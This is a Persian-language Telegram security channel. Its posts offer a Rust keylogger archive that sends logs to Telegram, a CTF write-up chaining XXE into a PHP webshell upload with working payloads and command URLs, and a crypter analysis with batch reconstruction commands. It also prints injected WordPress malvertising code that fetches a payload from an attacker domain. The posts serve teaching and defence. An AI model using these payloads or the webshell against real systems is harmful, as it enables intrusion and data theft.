Mr. SAM – Telegram
Mr. SAM
148 subscribers
131 photos
7 videos
23 files
751 links
یکشنبه
۷ ‏( دی = ۱۰ )‏ ۱٤۰٤
‏28 ( دسامبر = december = 12 ) 2025
تکنیک‌ها ، کالبدشکافی ، درک عمیق ، یک قدم جلوتر ...
https://news.1rj.ru/str/boost/NullError_ir
Download Telegram
Keylogger.tar.gz
2 KB
#Keylogger

یک کیلاگر نوشته شده با Rust

درود به همه دوستان و اساتید . این سورس کد ساده بدافزار کیلاگر که با زبان برنامه‌نویسی Rust قبلا به عنوان نمونه نوشته بودم برای لینوکس هست که لاگ‌ها رو جمع آوری و به تلگرام میفرسته .

نکاتی داره برای آموزش و یادگیری و البته نقاط ضعفش رو هم نوشتم که بدونید و خودتون جهت یادگیری اصلاحش کنید . مثل :

مشخص بودن مقادیر ربات تلگرام (توکن و آی‌دی) در سورس کد.

ثبت شدن پیغام‌های خطا (eprintln!) در کد.

ثابت بودن مسیر دایرکتوری (/tmp/k-pro-logs) که به راحتی توسط ابزارهای مانیتورینگ فایل قابل شناسایی است.

🔠🔠🔠🔠

@NullError_ir
Please open Telegram to view this post
VIEW IN TELEGRAM
#CTF

چالش CTF Anonymous
زنجیره‌ای از آسیب‌پذیری‌ها تا اجرای کد از راه دور (RCE)


این چالش یک نمونه‌ی آموزشی عالی از چگونگی زنجیره‌ای کردن آسیب‌پذیری‌ها (Vulnerability Chaining) برای دستیابی به بالاترین سطح دسترسی در یک سیستم است. مهاجم با ترکیب هوشمندانه یک آسیب‌پذیری XML External Entity (XXE) با یک مکانیزم معیوب در بارگذاری فایل، موفق به اجرای کد از راه دور (RCE) می‌شود. در ادامه، هر مرحله با جزئیات فنی دقیق‌تر شکافته می‌شود.

مرحله اول: کشف و بهره‌برداری از آسیب‌پذیری XXE

حمله با یک آسیب‌پذیری کلاسیک اما همچنان بسیار خطرناک، یعنی XXE آغاز می‌شود.

۱. شناسایی نقطه ضعف

تحلیل کد جاوا اسکریپت در سمت کلاینت نشان می‌دهد که داده‌های فرم در قالب یک ساختار **XML
به فایل notify.php ارسال می‌شوند. این الگو بلافاصله باید زنگ خطر را برای هر متخصص امنیتی به صدا درآورد. هرگاه یک برنامه ورودی کاربر را درون یک سند XML پردازش می‌کند، پتانسیل حمله XXE وجود دارد، مگر اینکه پردازنده XML به طور صریح و ایمن پیکربندی شده باشد.

کد جاوا اسکریپت تابعی را نشان می‌دهد که یک پیلود XML می‌سازد و آن را ارسال می‌کند. این ساختار به مهاجم اجازه می‌دهد تا کنترل کامل بر محتوای XML ارسالی داشته باشد.

۲. اثبات آسیب‌پذیری و استخراج اطلاعات

مهاجم با استفاده از ابزاری مانند cURL ، یک پیلود XML دستکاری‌شده را ارسال می‌کند. این پیلود شامل یک External Entity است که به یک فایل محلی روی سرور (/etc/passwd) اشاره می‌کند.

پیلود نمونه:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE user [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
<name>&xxe;</name>
<email>test@test.com</email>
<message>test</message>
</user>


<!DOCTYPE user [...]> : این بخش یک Document Type Definition (DTD) را تعریف می‌کند.

<!ENTITY xxe SYSTEM "file:///etc/passwd"> : این قسمت یک موجودیت (Entity) به نام xxe تعریف می‌کند که محتوای آن از فایل /etc/passwd خوانده می‌شود.

&xxe; : در بدنه XML، با فراخوانی این موجودیت، پردازنده XML محتوای فایل را جایگزین آن کرده و در پاسخ به مهاجم برمی‌گرداند.

موفقیت در خواندن این فایل، آسیب‌پذیری In-Band XXE را تأیید می‌کند و نشان می‌دهد که مهاجم قابلیت خواندن فایل‌های دلخواه روی سیستم را با سطح دسترسی کاربر وب‌سرور (مثلاً www-data) دارد.

مرحله دوم: شناسایی میزبان مخفی و حرکت جانبی (Lateral Movement)

پس از به دست آوردن قابلیت خواندن فایل، مهاجم از این دسترسی برای فاز شناسایی (Enumeration) عمیق‌تر سیستم استفاده می‌کند.

۱. خواندن فایل‌های پیکربندی

یک هدف کلیدی در این مرحله، فایل‌های پیکربندی وب‌سرور است. در این مورد، فایل /etc/apache2/sites-enabled/000-default.conf حاوی اطلاعات ارزشمندی است. این فایل پیکربندی Virtual Hosts در آپاچی را تعریف می‌کند.

۲. کشف anonupload.cyberquest

محتوای این فایل یک میزبان (Host) جدید به نام anonupload.cyberquest را آشکار می‌کند که روی همان سرور و آدرس IP میزبانی می‌شود اما از طریق دامنه اصلی قابل دسترسی نیست. این یک تکنیک رایج برای پنهان کردن پنل‌های ادمین یا سرویس‌های داخلی است.

۳. دسترسی به میزبان جدید

مهاجم با افزودن رکورد زیر به فایل /etc/hosts سیستم محلی خود، به سیستم‌عامل خود می‌آموزد که چگونه دامنه anonupload.cyberquest را به آدرس IP سرور هدف ترجمه کند:
35.200.207.70 anonupload.cyberquest

این کار به او اجازه می‌دهد تا مستقیماً به وب‌سایت مخفی دسترسی پیدا کند، که در این مورد یک صفحه آپلود فایل محافظت‌شده با رمز عبور است.

مرحله سوم: دور زدن احراز هویت و تحلیل مکانیزم آپلود

مهاجم مجدداً از همان آسیب‌پذیری XXE، اما این بار برای یک هدف جدید، استفاده می‌کند: خواندن کد منبع صفحه آپلود.

۱. استخراج کد منبع و رمز عبور

با ارسال یک پیلود XXE برای خواندن فایل /var/www/anonupload.cyberquest/index.php ، مهاجم به کد PHP صفحه دسترسی پیدا می‌کند. تحلیل این کد، رمز عبور supersecret1234564_niceeeee132213 را که به صورت Hardcoded در کد قرار داده شده است، فاش می‌کند. این یک اشتباه امنیتی بسیار رایج و خطرناک است.

۲. ورود به پنل آپلود

پس از ورود، مهاجم با یک فرم آپلود فایل مواجه می‌شود که دارای چندین لایه امنیتی است. تحلیل این لایه‌ها کلید موفقیت در مرحله نهایی است.

مرحله چهارم: دور زدن پیچیده فیلتر آپلود فایل

این بخش جذاب‌ترین و فنی‌ترین قسمت چالش است و یک ضعف کلاسیک در منطق برنامه‌نویسی را به نمایش می‌گذارد.
Please open Telegram to view this post
VIEW IN TELEGRAM
1
Mr. SAM
#CTF چالش CTF Anonymous زنجیره‌ای از آسیب‌پذیری‌ها تا اجرای کد از راه دور (RCE) این چالش یک نمونه‌ی آموزشی عالی از چگونگی زنجیره‌ای کردن آسیب‌پذیری‌ها (Vulnerability Chaining) برای دستیابی به بالاترین سطح دسترسی در یک سیستم است. مهاجم با ترکیب هوشمندانه…
۱. تلاش‌های اولیه و جمع‌آوری اطلاعات

* تلاش اول (دور زدن MIME Type): مهاجم یک شل PHP را با هدر Content-Type: image/jpeg آپلود می‌کند. خطا نشان می‌دهد که سرور فقط به هدر اکتفا نکرده و محتوای فایل را نیز بررسی می‌کند. احتمالاً با استفاده از توابعی مانند getimagesize() یا finfo_file() که Magic Numbers (بایت‌های اولیه فایل) را بررسی می‌کنند.

* تلاش دوم (عدم تطابق محتوا و پسوند): مهاجم یک فایل PNG معتبر (با Magic Number صحیح) اما با پسوند .php را آپلود می‌کند. این تلاش نیز با شکست مواجه می‌شود، که نشان می‌دهد سرور به شدت تطابق بین محتوای فایل و پسوند آن را کنترل می‌کند.

این خطاها اطلاعات ارزشمندی به مهاجم می‌دهند: هم محتوای فایل باید شبیه یک تصویر مجاز باشد و هم پسوند آن باید در لیست سفید (Whitelist) باشد.

۲. کشف آسیب‌پذیری کلیدی در منطق PHP

تحلیل مجدد کد index.php ضعف اصلی را آشکار می‌کند: عدم سازگاری بین منطق اعتبارسنجی و منطق ذخیره‌سازی فایل.

* منطق اعتبارسنجی (معیوب):
explode(".", $_FILES["fileToUpload"]["name"])[1]

این کد نام فایل را بر اساس کاراکتر . تقسیم (explode) کرده و عنصر دوم (اندیس 1) آرایه را به عنوان پسوند در نظر می‌گیرد. برای فایلی با نام shell.jpeg.php ، نتیجه این کد jpeg خواهد بود که در لیست پسوندهای مجاز قرار دارد و اعتبارسنجی با موفقیت انجام می‌شود. این روش برای استخراج پسوند بسیار ناامن و اشتباه است.

* منطق ذخیره‌سازی (امن):
pathinfo($_FILES["fileToUpload"]["name"], PATHINFO_EXTENSION)

در مقابل، برای تعیین پسوند نهایی جهت ذخیره‌سازی، کد از تابع امن و استاندارد pathinfo() استفاده می‌کند. این تابع برای نام فایل shell.jpeg.php به درستی پسوند نهایی یعنی php را برمی‌گرداند.

این تضاد در منطق، یک حفره امنیتی کلاسیک ایجاد می‌کند. اعتبارسنجی روی یک بخش از نام فایل (jpeg) انجام می‌شود، اما فایل با بخش دیگری از نام آن (php) ذخیره می‌شود.

۳. ساخت پیلود نهایی و دستیابی به RCE

برای موفقیت در آپلود، مهاجم باید هر دو شرط را برآورده کند:

1. دور زدن بررسی محتوا: یک فایل JPEG معتبر ایجاد می‌کند. سپس با استفاده از ابزاری مانند exiftool ، کد شل PHP (<?php system($_GET['cmd']); ?>) را در بخش متادیتا (Metadata)**، مثلاً در قسمت کامنت‌ها، تزریق می‌کند. این کار باعث می‌شود فایل همچنان یک تصویر معتبر باقی بماند و از بررسی Magic Number عبور کند، اما حاوی کد مخرب باشد.

2. **دور زدن بررسی پسوند:
نام فایل را به shell.jpeg.php تغییر می‌دهد.

با آپلود این فایل دستکاری‌شده، تمام لایه‌های امنیتی دور زده می‌شوند. فایل به عنوان یک تصویر معتبر با پسوند jpeg شناسایی شده، اما در نهایت با پسوند .php روی سرور ذخیره می‌شود.

۴. اجرای دستور و خواندن پرچم

اکنون مهاجم می‌تواند از طریق مرورگر به شل آپلود شده دسترسی پیدا کرده و با استفاده از پارامتر cmd در URL، دستورات دلخواه را بر روی سرور اجرا کند.

http://anonupload.cyberquest/uploads/2a9526f0dd3382db.php?cmd=ls -la /

http://anonupload.cyberquest/uploads/2a9526f0dd3382db.php?cmd=cat /fl444g_11d854d6a9c9341e8af155128bf74362.txt

با اجرای دستور cat بر روی فایل پرچم، چالش با موفقیت به پایان می‌رسد.


### نتیجه:

این چالش به زیبایی نشان می‌دهد که چگونه ترکیبی از آسیب‌پذیری‌های به ظاهر جداگانه می‌تواند منجر به نفوذ کامل شود. راهکارهای مقابله باید به صورت لایه‌ای و جامع پیاده‌سازی شوند:

1. مقابله با XXE:

* پردازنده‌های XML باید به گونه‌ای پیکربندی شوند که پردازش External Entities و DTDs به طور کامل غیرفعال باشد. در PHP (با استفاده از کتابخانه libxml)، این کار با دستور زیر قبل از بارگذاری XML انجام می‌شود:
libxml_disable_entity_loader(true);
Mr. SAM
۱. تلاش‌های اولیه و جمع‌آوری اطلاعات * تلاش اول (دور زدن MIME Type): مهاجم یک شل PHP را با هدر Content-Type: image/jpeg آپلود می‌کند. خطا نشان می‌دهد که سرور فقط به هدر اکتفا نکرده و محتوای فایل را نیز بررسی می‌کند. احتمالاً با استفاده از توابعی مانند getimagesize()…
2. امن‌سازی مکانیزم آپلود فایل (بسیار مهم):

* هرگز به نام فایل ارسالی توسط کاربر اعتماد نکنید. پس از آپلود، یک نام فایل کاملاً جدید، تصادفی و بدون پسوند تولید کنید و فایل را با آن نام ذخیره کنید. نام اصلی فایل کاربر را می‌توان در پایگاه داده ذخیره کرد.

* استفاده از یک تابع واحد و امن برای بررسی پسوند: همیشه از pathinfo() برای استخراج پسوند استفاده کنید و آن را با یک لیست سفید (Whitelist) از پسوندهای مجاز مقایسه کنید.

* ذخیره‌سازی فایل‌ها خارج از Web Root: فایل‌های آپلود شده باید در مسیری ذخیره شوند که مستقیماً از طریق URL قابل دسترسی و اجرا نباشد. برای ارائه فایل به کاربر، از یک اسکریپت واسط (Wrapper Script) استفاده کنید که فایل را می‌خواند و با هدر Content-Type مناسب به کاربر ارسال می‌کند.

* غیرفعال‌سازی اجرای اسکریپت: اگر مجبور به ذخیره فایل‌ها در Web Root هستید، با استفاده از پیکربندی وب‌سرور (مثلاً فایل .htaccess در آپاچی)، اجرای هرگونه اسکریپت (PHP, Perl, etc.) را در پوشه آپلود غیرفعال کنید.
<Directory /var/www/html/uploads>
<Files "*.php">
Order Deny,Allow
Deny from all
</Files>
php_flag engine off
</Directory>

* پاکسازی محتوا: برای فایل‌های تصویری، آن‌ها را پس از آپلود مجدداً با استفاده از یک کتابخانه معتبر (مانند GD یا ImageMagick) پردازش و ذخیره کنید (Image Re-encoding). این کار تمام متادیتای اضافی و بالقوه خطرناک را حذف می‌کند.

* عدم افشای اطلاعات در پیام‌های خطا: پیام‌های خطای دقیق مانند "File’s content and it’s extension had to match" به مهاجم سرنخ‌های ارزشمندی می‌دهد. خطاها باید عمومی و غیر توصیفی باشند.

نوشته اصلی

@NullError_ir
#Mouse

استراق سمع مخفیانه از طریق موس‌های کامپیوتری

موس کامپیوتر شما گوش‌های بزرگی دارد


@NullError_ir
Please open Telegram to view this post
VIEW IN TELEGRAM
#OpenSSH

آسیب‌پذیری OpenSSH از طریق ProxyCommand برای اجرای کد از راه دور مورد بهره‌برداری قرار گرفت .

PoC Released

@NullError_ir
Please open Telegram to view this post
VIEW IN TELEGRAM
#Asgard

تحلیل Asgard


با تحلیل دقیق و مهندسی معکوس Asgard، محققان امنیتی به تکنیک‌های پیچیده آن برای دور زدن آنتی‌ویروس‌ها و ابزارهای تحلیلی پی برده‌اند. این Crypter که از اواخر سال ۲۰۲۳ در فروم‌های زیرزمینی تبلیغ شده، به دلیل قابلیت‌های پیشرفته در پنهان‌سازی و استقرار payloadهای مخرب، توجه مهاجمان سایبری را به خود جلب کرده است. در ادامه، جزئیات فنی و مکانیزم عملکرد این بدافزار به صورت کامل تشریح می‌شود

این Asgard Protector یک ابزار رمزکننده (Crypter) است که توسط مجرمان سایبری برای پنهان‌سازی و اجرای بدافزارهای دیگر مانند (RATs) و (Infostealers) استفاده می‌شود. این ابزار با بسته‌بندی payloadهای مخرب در قالب یک (installer) به ظاهر سالم، مکانیزم‌های دفاعی آنتی ویروس‌های سنتی را خنثی کرده و فرآیندهای تحلیل و پاسخ به حوادث را با چالش جدی مواجه می‌کند.

زنجیره آلودگی و مکانیزم عملکرد (Infection Chain)

عملکرد Asgard Protector چندمرحله‌ای و لایه‌لایه است تا شناسایی آن تا حد ممکن دشوار شود.

۱. مرحله اولیه: آرشیو خوداستخراج Nullsoft

بدافزار معمولاً در قالب یک فایل آرشیو خوداستخراج Nullsoft (Nullsoft Self-extracting Archive) توزیع می‌شود. پس از اجرا، این فایل چندین کامپوننت مخفی را در دایرکتوری موقت سیستم (%TEMP% ) استخراج (unpack) می‌کند.

۲. تکنیک‌های پنهان‌سازی اولیه

یکی از تکنیک‌های هوشمندانه در این مرحله، فریب از طریق پسوند فایل است. اسکریپت batch اصلی که وظیفه هدایت عملیات را بر عهده دارد، با پسوندی غیرمرتبط (مانند تغییر نام یک فایل .bat به Belgium.pst) ذخیره می‌شود تا از دید تحلیل‌گران و سیستم‌های امنیتی پنهان بماند. علاوه بر این، محتوای خود اسکریپت نیز به شدت مبهم‌سازی (Obfuscate) شده است.

۳. بازسازی مفسر AutoIt در حافظه
اسکریپت نصب‌کننده، به جای استفاده از یک فایل اجرایی کامل، قطعات یک مفسر AutoIt را از درون فایل‌های آرشیو CAB جاسازی‌شده استخراج کرده و آن را مستقیماً در حافظه (in-memory) بازسازی (reconstruct) می‌کند. این رویکرد از رها کردن یک فایل اجرایی کامل بر روی دیسک جلوگیری کرده و در نتیجه، از شناسایی مبتنی بر امضا (signature-based detection) فرار می‌کند.

۴. رمزگشایی و اجرای Payload نهایی

پس از بازسازی مفسر AutoIt، اسکریپت AutoIt جاسازی‌شده اجرا می‌شود که خود شامل لایه‌های حفاظتی بیشتری است:

* رمزگشایی در حافظه: Payload نهایی (بدافزار اصلی) به صورت رمزنگاری‌شده با الگوریتم RC4 درون اسکریپت ذخیره شده است و تنها در حافظه رم رمزگشایی می‌شود.

* فشرده‌سازی: پس از رمزگشایی، باینری با استفاده از الگوریتم LZNT1 از حالت فشرده خارج می‌شود.

* تزریق فرآیند (Process Injection): در نهایت، payload مخرب به درون یک فرآیند سیستمی معتبر مانند explorer.exe تزریق می‌شود. این کار باعث می‌شود که فعالیت بدافزار در زیر نقاب یک فرآیند قانونی پنهان شده و شناسایی آن در لیست فرآیندهای در حال اجرا بسیار دشوار گردد.

تکنیک‌های پیشرفته فرار از تحلیل

این Asgard Protector از مکانیزم‌های خاصی برای مقابله با محیط‌های تحلیل و سندباکس بهره می‌برد:

* شناسایی سندباکس مبتنی بر شبکه: یک تکنیک منحصربه‌فرد در این بدافزار، ارسال درخواست ping به یک دامنه که به صورت تصادفی تولید شده است، می‌باشد. اگر هرگونه پاسخی از این دامنه دریافت شود، بدافزار تشخیص می‌دهد که در یک محیط شبکه شبیه‌سازی‌شده یا مانیتور شده (مانند سندباکس) قرار دارد و بلافاصله اجرای خود را متوقف می‌کند تا از تحلیل شدن جلوگیری نماید.

* اجرای بدون فایل (Fileless Execution): ترکیب تکنیک‌های بازسازی در حافظه، رمزگشایی و تزریق فرآیند، به Asgard Protector اجازه می‌دهد تا بدون نوشتن فایل اجرایی نهایی بر روی دیسک، عملیات خود را تکمیل کند و از دید ابزارهای بازرسی مبتنی بر دیسک پنهان بماند.

مکانیزم پایداری (Persistence)

پس از اجرای موفقیت‌آمیز، بدافزار بسته به پیکربندی اپراتور، از یکی از روش‌های زیر برای اطمینان از اجرای مجدد خود پس از راه‌اندازی سیستم استفاده می‌کند:

* تغییر کلیدهای رجیستری Autorun: با افزودن ورودی‌های جدید به کلیدهای رجیستری مربوط به اجرای خودکار، بدافزار خود را در چرخه بوت سیستم‌عامل قرار می‌دهد.

* ایجاد وظایف زمان‌بندی‌شده (Scheduled Tasks): بدافزار یک وظیفه زمان‌بندی‌شده جدید در سیستم تعریف می‌کند تا در فواصل زمانی مشخص یا در رویدادهای خاصی مجدداً اجرا شود.

تحلیل عمیق اسکریپت بازسازی

اسکریپت .bat مبهم‌سازی‌شده از ترکیبی از دستورات خط فرمان ویندوز برای بازسازی باینری مفسر AutoIt استفاده می‌کند. قطعه کد زیر نمونه‌ای از این فرآیند است:
Please open Telegram to view this post
VIEW IN TELEGRAM
Mr. SAM
#Asgard تحلیل Asgard با تحلیل دقیق و مهندسی معکوس Asgard، محققان امنیتی به تکنیک‌های پیچیده آن برای دور زدن آنتی‌ویروس‌ها و ابزارهای تحلیلی پی برده‌اند. این Crypter که از اواخر سال ۲۰۲۳ در فروم‌های زیرزمینی تبلیغ شده، به دلیل قابلیت‌های پیشرفته در پنهان‌سازی…
findstr /b /r /c:"MZ" *.dat > offset.txt
for /f "tokens=1" %%A in (offset.txt) do set /A start=%%A
certutil -decode input.cab temp.exe
fsutil file createnew stub.bin %start%
more +%start% input.cab >> stub.bin


تحلیل کد:

findstr /b /r /c:"MZ" *.dat > offset.txt: این دستور در فایل‌های با پسوند .dat (که در واقع آرشیو CAB هستند) به دنبال هدر فایل‌های اجرایی ویندوز (MZ) می‌گردد و آفست (موقعیت شروع) آن را در فایل offset.txt ذخیره می‌کند.

for /f ... set /A start=%%A: مقدار آفست از فایل متنی خوانده شده و در متغیر start ذخیره می‌شود.

certutil -decode input.cab temp.exe: این بخش احتمالاً برای decode کردن بخشی از فایل استفاده می‌شود (اگرچه در این سناریو ممکن است کاربرد دیگری داشته باشد).

fsutil file createnew stub.bin %start%: یک فایل خالی به نام stub.bin با اندازه‌ای برابر با مقدار آفست هدر MZ ایجاد می‌کند.

more +%start% input.cab >> stub.bin: این دستور هوشمندانه، محتوای فایل input.cab را از نقطه شروع هدر MZ به بعد خوانده و به انتهای فایل stub.bin اضافه می‌کند. نتیجه این عملیات، بازسازی کامل فایل اجرایی مفسر AutoIt از قطعات جاسازی‌شده است.

این مدل بازسازی (piecemeal assembly) و اجرای چندمرحله‌ای، توانایی بدافزار را برای فرار از موتورهای آنتی‌ویروس مبتنی بر امضا و ابزارهای تحلیل استاتیک به شدت افزایش می‌دهد.

@NullError_ir
#WordPress

تحلیل کمپین Malvertising در وردپرس:
مهندسی معکوس تکنیک‌های پنهان‌سازی در functions.php


یک کمپین Malvertising (تبلیغات بدافزاری) پیچیده و در عین حال پنهان‌کار، وب‌سایت‌های وردپرسی را هدف قرار داده است. این کمپین با تزریق یک قطعه کد PHP به ظاهر بی‌خطر در فایل functions.php قالب فعال، کنترل کامل بر روی محتوای front-end وب‌سایت را به دست گرفته و بازدیدکنندگان را در معرض انواع تهدیدات، از جمله هدایت‌های اجباری (Forced Redirects) ، نمایش پاپ‌آپ‌های مخرب و بدافزارهای drive-by قرار می‌دهد.

فاز اول: شناسایی و نقطه نفوذ

حمله زمانی شناسایی شد که صاحبان وب‌سایت متوجه بارگذاری اسکریپت‌های جاوا اسکریپت مشکوک و ناخواسته‌ای شدند که هرگز توسط آن‌ها نصب نشده بود. بررسی سورس صفحه (View Page Source)، سرنخ اولیه را آشکار ساخت: یک تگ <noscript> که فایلی را از یک دامنه خارجی و ناشناس بارگذاری می‌کرد.

تحقیقات عمیق‌تر نشان داد که منشأ این تزریق، یک قطعه کد PHP است که به انتهای فایل functions.php قالب فعال وردپرس اضافه شده است. این فایل به دلیل نقش کلیدی در تعریف عملکردها و ویژگی‌های قالب، یک هدف ایده‌آل برای مهاجمان است.

بردار اصلی نفوذ در این کمپین، اغلب یکی از موارد زیر است:

* آسیب‌پذیری در افزونه‌ها یا قالب‌های قدیمی: مهاجمان با بهره‌برداری از یک آسیب‌پذیری شناخته‌شده، دسترسی لازم برای ویرایش فایل‌های قالب را به دست می‌آورند.

* اعتبارنامه‌های ضعیف یا سرقت‌شده: استفاده از رمزهای عبور ضعیف برای حساب مدیریت وردپرس، FTP یا کنترل پنل هاستینگ، مسیری مستقیم برای نفوذ فراهم می‌کند.

* مجوزهای دسترسی (Permissions) نادرست فایل‌ها: اگر فایل functions.php دارای مجوز نوشتن (writable) برای پروسس وب‌سرور باشد، بدافزارها می‌توانند به راحتی آن را ویرایش کنند.

فاز دوم: کالبدشکافی کد تزریق‌شده

کد تزریق‌شده در فایل functions.php به شکل زیر است. سادگی ظاهری این کد، قدرت پنهان‌کاری آن را افزایش می‌دهد:

// Injected PHP function in functions.php

function ti_custom_javanoscript() {
$response = wp_remote_post(
'https://brazilc.com/ads.php',
array(
'timeout' => 15,
'body' => array('url' => home_url())
)
);
if (!is_wp_error($response)) {
echo wp_remote_retrieve_body($response);
}
}

add_action('wp_head', 'ti_custom_javanoscript');

تحلیل دقیق عملکرد کد:

add_action('wp_head' , 'ti_custom_javanoscript'); : این خط، قلب مکانیزم حمله است. با استفاده از هوک (hook) وردپرسی wp_head ، تابع ti_custom_javanoscript در هر بار بارگذاری صفحه (page load) در تمام بخش‌های وب‌سایت، درست در داخل تگ <head> اجرا می‌شود. این تضمین می‌کند که کد مخرب قبل از هر اسکریپت دیگری بارگذاری و اجرا شود.

wp_remote_post(...) : این تابع وردپرسی یک درخواست HTTP POST به سرور فرماندهی و کنترل (C\&C) مهاجم به آدرس hxxps://brazilc[.]com/ads.php ارسال می‌کند. در بدنه (body) این درخواست، آدرس وب‌سایت آلوده (home_url()) نیز ارسال می‌شود که احتمالاً برای ردیابی قربانیان توسط مهاجمان استفاده می‌شود.

echo wp_remote_retrieve_body($response); : این بخش، حیاتی‌ترین قسمت است. پاسخ دریافت شده از سرور C\&C (که حاوی payload جاوا اسکریپت مخرب است) بدون هیچ‌گونه اعتبارسنجی یا پاک‌سازی، مستقیماً در خروجی HTML صفحه چاپ (echo) می‌شود. این تکنیک به مهاجم اجازه می‌دهد تا به صورت پویا و از راه دور، محتوای مخرب را در لحظه به مرورگر بازدیدکنندگان تزریق کند.

فاز سوم: تحلیل Payload جاوا اسکریپت

پاسخی که از سرور C\&C بازگردانده می‌شود، یک payload جاوا اسکریپت چندمرحله‌ای است که یک حمله دومرحله‌ای (Two-Pronged Attack) را اجرا می‌کند:

مرحله اول: سیستم توزیع ترافیک

اولین بخش از payload، اسکریپتی را از دامنه porsasystem[.]com (مشخصاً فایل 6m9x.js) بارگذاری می‌کند. این دامنه به عنوان یک سیستم توزیع ترافیک (TDS) عمل می‌کند. یک TDS، سرویسی است که بازدیدکنندگان را بر اساس پارامترهای مختلفی مانند موقعیت جغرافیایی، نوع سیستم‌عامل، مرورگر و... پروفایل کرده و سپس آن‌ها را به مخرب‌ترین یا سودآورترین مقصد بعدی هدایت می‌کند. این مقصد می‌تواند شامل موارد زیر باشد:

* صفحات فیشینگ

* سایت‌های تبلیغاتی مخرب

* کیت‌های بهره‌برداری (Exploit Kits)

* دانلود بدافزارهای دیگر (مانند باج‌افزار یا تروجان‌های بانکی)

این اسکریپت مسئول اصلی هدایت‌های ناخواسته و نمایش پاپ‌آپ‌هایی است که توسط کاربر گزارش شده است.
Please open Telegram to view this post
VIEW IN TELEGRAM
Mr. SAM
#WordPress تحلیل کمپین Malvertising در وردپرس: مهندسی معکوس تکنیک‌های پنهان‌سازی در functions.php یک کمپین Malvertising (تبلیغات بدافزاری) پیچیده و در عین حال پنهان‌کار، وب‌سایت‌های وردپرسی را هدف قرار داده است. این کمپین با تزریق یک قطعه کد PHP به ظاهر…
مرحله دوم: تکنیک‌های فرار و پنهان‌سازی

بخش دوم payload، یک تکنیک هوشمندانه برای فرار از شناسایی توسط ابزارهای امنیتی و تحلیل‌گران به کار می‌گیرد:

1. ایجاد Iframe مخفی: یک iframe با ابعاد ۱ در ۱ پیکسل (1x1) به صورت مخفی در صفحه ایجاد می‌شود. این iframe برای چشم انسان نامرئی است اما به مرورگر اجازه می‌دهد محتوای خارجی را در پس‌زمینه بارگذاری کند.

2. تقلید از Cloudflare: درون این iframe مخفی، کدی تزریق می‌شود که خود را به عنوان یک اسکریپت تأیید هویت قانونی Cloudflare جا می‌زند (cdn-cgi/challenge-platform/noscripts/jsd/main.js) . از آنجایی که Cloudflare یک سرویس CDN و امنیتی بسیار رایج است، بسیاری از فایروال‌ها، سیستم‌های تشخیص نفوذ (IDS) و تحلیل‌گران امنیتی ممکن است ترافیک مربوط به آن را قانونی تلقی کرده و نادیده بگیرند (whitelisting). این یک روش بسیار مؤثر برای پنهان کردن فعالیت مخرب در میان ترافیک عادی است.

3. دور زدن بهینه‌سازها: در کد اسکریپت از دو مشخصه (attribute) کلیدی استفاده شده است:

data-cfasync='false': این مشخصه به سرویس بهینه‌سازی Rocket Loader کلودفلر دستور می‌دهد که این اسکریپت را نادیده بگیرد و تغییری در آن ایجاد نکند. این کار از شکسته شدن کد مخرب توسط ابزارهای بهینه‌سازی جلوگیری می‌کند.

async: این مشخصه باعث می‌شود اسکریپت به صورت غیرهمزمان (asynchronously) بارگذاری شود. این یعنی بارگذاری آن مانع از رندر شدن بقیه محتوای صفحه نمی‌شود و در نتیجه، تأثیر منفی بر سرعت بارگذاری سایت (از دید کاربر) به حداقل می‌رسد و حمله کمتر قابل توجه خواهد بود.

شاخص‌های نفوذ

* دامنه‌های مخرب:

۔* brazilc[.]com (سرور C\&C)

۔* porsasystem[.]com (سرور توزیع ترافیک - TDS)

* مسیر فایل آلوده:

۔* wp-content/themes/[نام-قالب-فعال]/functions.php

* قطعه کد مخرب:

* تابع ti_custom_javanoscript() که به هوک wp_head متصل شده است.

@NullError_ir
#Hidden_Text_Salting
آقای امید میرزائی محقق و سرپرست تیم امنیتی سیسکو تالوس خبر از کشف یک تکنیک فریبنده به نام "Hidden Text Salting" داد.

تحلیل تکنیک "Hidden Text Salting": سوءاستفاده از CSS برای فریب سیستم‌های امنیتی ایمیل

بر اساس گزارش ایشان، مهاجمان به طور فزاینده‌ای از یک تکنیک فریبنده به نام "Hidden Text Salting" برای دور زدن راهکارهای امنیتی ایمیل استفاده می‌کنند. این روش بر پایه سوءاستفاده از ویژگی‌های CSS (Cascading Style Sheets) برای تزریق و پنهان‌سازی محتوای بی‌ربط (که "Salt" یا "نمک" نامیده می‌شود) در بخش‌های مختلف ایمیل‌ها استوار است. هدف اصلی این تکنیک، مختل کردن و فریب دادن سیستم‌های تشخیص خودکار، از جمله الگوریتم‌های یادگیری ماشین و مدل‌های زبانی بزرگ (LLMs) است.

چرا مهاجمان از Hidden Text Salting استفاده می‌کنند؟

این تکنیک دو هدف اصلی را دنبال می‌کند:

1. فرار مستقیم از تشخیص (Direct Evasion): مهاجمان با افزودن محتوای بی‌ربط و تصادفی به بدنه ایمیل، امضاها (Signatures) و الگوهای متنی که توسط سیستم‌های امنیتی برای شناسایی ایمیل‌های مخرب استفاده می‌شوند را برهم می‌زنند. این کار تحلیل محتوای ایمیل را برای موتورهای تشخیص دشوارتر می‌کند.

2. اختلال در فرآیندهای جانبی (Indirect Evasion): این روش می‌تواند سایر بخش‌های خط لوله تحلیل امنیتی را نیز تحت تأثیر قرار دهد. برای مثال، با تزریق کلماتی از یک زبان دیگر (مانند فرانسوی در یک ایمیل انگلیسی)، می‌توانند ماژول‌های تشخیص زبان را به اشتباه بیندازند و باعث شوند فیلترهای اسپم مبتنی بر زبان، به درستی عمل نکنند.

محتوای "Salt" در کدام بخش‌های ایمیل تزریق می‌شود؟

تحقیقات نشان می‌دهد که مهاجمان عمدتاً در چهار بخش کلیدی ایمیل محتوای پنهان را جایگذاری می‌کنند:

Preheader: متن کوتاهی که در پیش‌نمایش اینباکس، بلافاصله بعد از عنوان ایمیل نمایش داده می‌شود. مهاجمان می‌توانند در این بخش، متون بی‌ربطی را با استفاده از CSS پنهان کنند تا موتورهای تحلیل را فریب دهند.

Header: بخش‌های بالایی ایمیل که کمتر متداول است اما همچنان به عنوان محلی برای تزریق محتوای پنهان استفاده می‌شود.

پیوست‌ها (Attachments): به خصوص در پیوست‌های HTML، مهاجمان کاراکترها یا کامنت‌های بی‌ربط را بین کدهای مهم (مانند رشته‌های Base64) قرار می‌دهند تا تحلیل استاتیک فایل را پیچیده و فرآیند استخراج URLهای مخرب را دشوار سازند.

